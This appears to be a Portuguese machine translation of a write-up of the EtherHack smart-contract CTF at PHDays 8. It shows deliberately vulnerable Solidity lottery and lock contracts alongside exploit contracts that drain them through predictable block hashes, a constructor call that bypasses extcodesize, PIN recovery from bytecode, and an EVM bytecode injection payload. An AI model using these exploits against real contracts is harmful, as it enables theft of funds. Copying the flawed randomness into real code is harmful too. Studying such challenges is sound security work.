Descobrindo Vulnerabilidades em Contratos Inteligentes: Revisão do EtherHack nos Dias Positivos de Hack 8

imagem

Este ano, a PHDays organizou uma competição chamada EtherHack pela primeira vez. Os participantes procuraram vulnerabilidades em contratos inteligentes por velocidade. Neste artigo, falaremos sobre as tarefas da competição e as possíveis maneiras de resolvê-las.

Azino 777


Ganhe na loteria e quebre o pote!


As três primeiras tarefas foram relacionadas a erros na geração de números pseudo-aleatórios, dos quais falamos recentemente: prever números aleatórios em contratos inteligentes do Ethereum . A primeira tarefa foi baseada em um gerador de números pseudo-aleatórios (PRNG), que usou o hash do último bloco como fonte de entropia para gerar números aleatórios:

pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } } //Generate random number between 0 & max uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399; function rand(uint max) constant private returns (uint256 result){ uint256 factor = FACTOR * 100 / max; uint256 lastBlockNumber = block.number - 1; uint256 hashVal = uint256(block.blockhash(lastBlockNumber)); return uint256((uint256(hashVal) / factor)) % max; } function() public payable {} } 

Como o resultado da chamada da função block.blockhash(block.number-1) será o mesmo para qualquer transação dentro do mesmo bloco, o ataque poderá usar um contrato de exploração com a mesma função rand() para chamar o contrato de destino por meio de uma mensagem interna:

 function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } 

Private ryan


Adicionamos um valor inicial privado que ninguém jamais calculará.


Esta tarefa é uma versão ligeiramente complicada da anterior. A variável de semente, que é considerada privada, é usada para compensar o número ordinal do bloco (block.number) para que o hash do bloco não dependa do bloco anterior. Após cada aposta, a semente é reescrita para um novo deslocamento "aleatório". Por exemplo, na loteria Slotthereum , era exatamente isso.

 contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } /* ... */ } 

Como na tarefa anterior, o hacker só precisava copiar a função rand() na exploração do contrato, mas, neste caso, o valor da semente da variável privada precisou ser obtido fora do blockchain e depois enviado à exploração como argumento. Para fazer isso, você pode usar o método web3.eth.getStorageAt () da biblioteca web3:

imagem

Lendo a loja contratada fora da blockchain para obter o valor inicial

Depois de receber o valor inicial, resta apenas enviá-lo para a exploração, que é quase idêntico ao da primeira tarefa:

 contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } /* ... */ } 

Roda da fortuna


Esta loteria usa o hash do bloco subsequente. Tente calculá-lo!


Nesta tarefa, foi necessário descobrir o hash do bloco cujo número foi armazenado na estrutura do jogo após a aposta. Esse hash foi extraído para gerar um número aleatório após a próxima aposta.

 Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} } 

Nesse caso, existem duas soluções possíveis.

  1. Chame o contrato de destino duas vezes através do contrato de exploração. O resultado da chamada da função block.blockhash (block.number) sempre será zero.
  2. Aguarde 256 blocos para entrar e faça uma segunda aposta. O hash do número de sequência de blocos armazenado será zero devido às limitações da Ethereum Virtual Machine (EVM) no número de hashes de bloco disponíveis.

Nos dois casos, a aposta vencedora será uint256(keccak256(bytes32(0))) % 100 ou "47".

Me ligue talvez


Este contrato não gosta quando outros contratos o chamam.


Uma maneira de impedir que um contrato seja chamado por outros contratos é usar a instrução EVM extcodesize , que retorna o tamanho do contrato em seu endereço. O método é usar esta instrução para o endereço do remetente da transação usando a inserção do assembler. Se o resultado for maior que zero, o remetente da transação é um contrato, pois os endereços comuns no Ethereum não possuem código. Foi precisamente essa abordagem que foi usada nesta tarefa para impedir que outros contratos o chamem.

 contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} } 

A tx.origin transação tx.origin aponta para o criador original da transação e msg.sender para o último chamador. Se enviarmos a transação do endereço usual, essas variáveis ​​serão iguais e terminaremos com revert() . Portanto, para resolver nosso problema, foi necessário ignorar a verificação da instrução extcodesize para que tx.origin e msg.sender diferentes. Felizmente, há um recurso interessante no EVM que pode ajudar com isso:

imagem

De fato, quando o contrato recém-contratado chama outro contrato no construtor, ele ainda não existe no blockchain, mas atua exclusivamente como uma carteira. Portanto, o código não está vinculado ao novo contrato e extcodesize retornará zero:

  contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} } 

A fechadura


Curiosamente, o castelo está fechado. Tente pegar o código PIN através da função de desbloqueio (bytes4 pincode). Cada tentativa de desbloquear custará 0,5 éter.


Nesta tarefa, os participantes não receberam um código - eles tiveram que restaurar a lógica do contrato por seu bytecode. Uma opção era usar o Radare2, uma plataforma usada para desmontar e depurar EVMs .

Para começar, publicaremos um exemplo da tarefa e inseriremos o código aleatoriamente:

 await contract.unlock("1337", {value: 500000000000000000}) →false 

A tentativa, é claro, é boa, mas sem sucesso. Agora tente depurar esta transação.

 r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7" 

Nesse caso, instruímos o Radare2 a usar a arquitetura evm. Essa ferramenta se conecta ao nó Ethereum e recupera o rastreamento dessa transação na máquina virtual. E agora, finalmente, estamos prontos para mergulhar no bytecode EVM.

Primeiro de tudo, você precisa realizar uma análise:

 [0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa) 

Em seguida, desmontamos as primeiras 1000 instruções (isso deve ser suficiente para cobrir todo o contrato) usando o comando pd 1000 e passamos a exibir o gráfico com o comando VV.

No código de bytes EVM compilado com solc , geralmente o gerenciador de funções vem em primeiro lugar. Com base nos quatro primeiros bytes dos dados da chamada que contêm a assinatura da função, definida como bytes4(sha3(function_name(params))) , o gerenciador de funções decide qual função chamar. Estamos interessados ​​na função de unlock(bytes4) , que corresponde a 0x75a4e3a0 .

Após o fluxo de execução usando a chave s, chegamos ao nó que compara a callvalue com o valor 0x6f05b59d3b20000 ou 500000000000000000 , que é equivalente a 0,5 éter:

 push8 0x6f05b59d3b20000 callvalue lt 

Se o éter fornecido for suficiente, nos encontraremos em um nó que se assemelha a uma estrutura de controle:

 push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi 

O código coloca o valor 0x4 no topo da pilha, verifica o limite superior (o valor não deve exceder 0xff) e compara lt com algum valor duplicado do quarto elemento da pilha (dup4).

Rolando até a parte inferior do gráfico, vemos que esse quarto elemento é essencialmente um iterador, e essa estrutura de controle é um loop que corresponde a for(var i=0; i<4; i++):

 push1 0x1 add swap4 

Se considerarmos o corpo do loop, torna-se óbvio que ele enumera quatro bytes recebidos e executa algumas operações com cada um dos bytes. Primeiro, o loop verifica se o enésimo byte é maior que 0x30:

 push1 0x30 dup3 lt iszero 

e também que esse valor é menor que 0x39:

 push1 0x39 dup3 gt iszero 

que é essencialmente uma verificação de que o byte fornecido está no intervalo de 0 a 9. Se a verificação for bem-sucedida, nos encontraremos no bloco de código mais importante:

imagem

Vamos dividir esse bloco em partes:

1. O terceiro elemento da pilha é o código ASCII do enésimo byte do código PIN. 0x30 (código ASCII para zero) é colocado na pilha e subtraído do código deste byte:

 push1 0x30 dup3 sub 

Ou seja, pincode[i] - 48 , e basicamente obtemos um dígito do código ASCII, vamos chamá-lo de d.

2. 0x4 é adicionado à pilha e usado como expoente para o segundo elemento na pilha, d:

 swap1 pop push1 0x4 dup2 exp 

Ou seja, d ** 4 .

3. O quinto elemento da pilha é recuperado e o resultado da exponenciação é adicionado a ela. Chame essa soma de S:

 dup5 add swap4 pop dup1 

Ou seja, S += d ** 4 .

4. 0xa (código ASCII para 10) é empurrado para a pilha e usado como multiplicador para o sétimo elemento da pilha (que era o sexto antes dessa adição). Como não sabemos o que é, chamaremos esse elemento de U. Em seguida, d é adicionado ao resultado da multiplicação:

 push1 0xa dup7 mul add swap5 pop 

Ou seja: U = U * 10 + d ou, mais simplesmente, essa expressão recupera o código PIN inteiro como um número de bytes individuais ([0x1, 0x3, 0x3, 0x7] → 1337) .

A coisa mais difícil que fizemos, agora vamos para o código após o loop.

 dup5 dup5 eq 

Se o quinto e o sexto elementos da pilha forem iguais, o fluxo de execução nos levará à instrução de armazenamento, que define um determinado sinalizador no armazenamento de contrato. Como esta é a única instrução de armazenamento, aparentemente é isso que estávamos procurando.

Mas como passar por esse teste? Como já descobrimos, o quinto elemento da pilha é S e o sexto é U. Como S é a soma de todos os dígitos do código PIN aumentado para a quarta potência, precisamos de um código PIN para o qual essa condição será atendida. No nosso caso, a análise mostrou que 1**4 + 3**4 + 3**4 + 7**4 não é igual a 1337 e não recebemos as instruções vencedoras da sstore .

Mas agora podemos calcular um número que satisfaça as condições dessa equação. Existem apenas três números que podem ser escritos como a soma dos dígitos do quarto grau: 1634, 8208 e 9474. Qualquer um deles pode abrir a fechadura!

Navio pirata


Hey Salag! Um navio pirata atracado no porto. Faça-o soltar âncora e levantar a bandeira com Jolly Roger e ir em busca de tesouros.


O curso padrão da execução do contrato inclui três ações:

  1. Uma chamada para a função dropAnchor() com um número de bloco que deve ser mais de 100.000 blocos maior que o atual. A função cria dinamicamente um contrato, que é uma "âncora", que pode ser "levantada" usando selfdestruct() após o bloco especificado.
  2. Uma chamada para a função pullAnchor() , que inicia a selfdestruct() se houver tempo suficiente (muito tempo!).
  3. Chame sailAway (), que define blackJackIsHauled como true se não houver contrato âncora.

 pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert(); // it is too early to sail away } blackJackIsHauled = true; // Yo Ho Ho! } function pullAnchor() public { require(anchor != 0x0); require(anchor.call()); // raise the anchor if the ship is ready to sail away } function dropAnchor(uint blockNumber) public returns(address addr) { // the ship will be able to sail away in 100k blocks time require(blockNumber > block.number + 100000); // if(block.number < blockNumber) { throw; } // suicide(msg.sender); uint[8] memory a; a[0] = 0x6300; // PUSH4 0x00... a[1] = blockNumber; // ...block number (3 bytes) a[2] = 0x43; // NUMBER a[3] = 0x10; // LT a[4] = 0x58; // PC a[5] = 0x57; // JUMPI a[6] = 0x33; // CALLER a[7] = 0xff; // SELFDESTRUCT uint code = assemble(a); // init code to deploy contract: stores it in memory and returns appropriate offsets uint[8] memory b; b[0] = 0; // allign b[1] = 0x6a; // PUSH11 b[2] = code; // contract b[3] = 0x6000; // PUSH1 0 b[4] = 0x52; // MSTORE b[5] = 0x600b; // PUSH1 11 ;; length b[6] = 0x6015; // PUSH1 21 ;; offset b[7] = 0xf3; // RETURN uint initcode = assemble(b); uint sz = getSize(initcode); uint offset = 32 - sz; assembly { let solidity_free_mem_ptr := mload(0x40) mstore(solidity_free_mem_ptr, initcode) addr := create(0, add(solidity_free_mem_ptr, offset), sz) } require(addr != 0x0); anchor = addr; } ///////////////// HELPERS ///////////////// function assemble(uint[8] chunks) internal pure returns(uint code) { for(uint i=chunks.length; i>0; i--) { code ^= chunks[i-1] << 8 * getSize(code); } } function getSize(uint256 chunk) internal pure returns(uint) { bytes memory b = new bytes(32); assembly { mstore(add(b, 32), chunk) } for(uint32 i = 0; i< b.length; i++) { if(b[i] != 0) { return 32 - i; } } return 0; } } 

A vulnerabilidade é bastante óbvia: temos uma injeção direta de instruções do assembler ao criar um contrato na função dropAnchor() . Mas a principal dificuldade era criar uma carga útil que nos permitisse passar na block.number .

No EVM, você pode criar contratos usando a instrução create. Seus argumentos são valor, deslocamento de entrada e tamanho da entrada. value é um bytecode que hospeda o próprio contrato (código de inicialização). No nosso caso, o código de inicialização + o código do contrato é colocado em uint256 (obrigado à equipe GasToken pela ideia):

 0x6a63004141414310585733ff600052600b6015f3 

onde os bytes em negrito são o código do contrato hospedado e 414141 é o local da injeção. Como somos confrontados com a tarefa de nos livrar do operador throw, precisamos inserir nosso novo contrato e reescrever a parte final do código de inicialização. Vamos tentar injetar o contrato com a instrução 0xff, o que levará à remoção incondicional do contrato âncora usando selfdestruct() :

  68 414141ff3f3f3f3f3f ;;  contrato push9
 60 00 ;;  push1 0
 52 ;;  mstore
 60 09 ;;  push1 9
 60 17 ;;  push1 17
 f3 ;;  retornar 

Se convertermos essa sequência de bytes em uint256 (9081882833248973872855737642440582850680819) e a usarmos como argumento para a função dropAnchor() , obteremos o seguinte valor para a variável de código (o bytecode em negrito é nossa carga útil):

 0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff 

Após a variável de código se tornar parte da variável initcode, obtemos o seguinte valor:

 0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3 

Agora, os bytes altos 0x6300 desapareceram e o restante do bytecode é descartado após 0xf3 (return) .

imagem

Como resultado, um novo contrato com a lógica alterada é criado:

  41 ;;  base de moedas
 41 ;;  base de moedas
 41 ;;  base de moedas
 ff ;;  auto-destruição
 3f ;;  lixo
 3f ;;  lixo
 3f ;;  lixo
 3f ;;  lixo
 3f ;;  lixo 

Se agora chamarmos a função pullAnchor (), este contrato será imediatamente destruído, já que não temos mais uma verificação no bloco.number. Depois disso, chamamos a função sailAway () e comemoramos a vitória!

Resultados


  1. Primeiro lugar e transmissão no valor equivalente a 1.000 dólares: Alexey Pertsev (p4lex)
  2. Segundo lugar e Ledger Nano S: Alexey Markov
  3. Terceiro lugar e lembranças do PHDays: Alexander Vlasov

Todos os resultados: etherhack.positive.com/#/scoreboard

imagem

Parabéns aos vencedores e obrigado a todos os participantes!

PS Agradecimentos ao Zeppelin por tornar o código fonte da plataforma Ethernaut CTF aberto.

Source: https://habr.com/ru/post/pt414959/


All Articles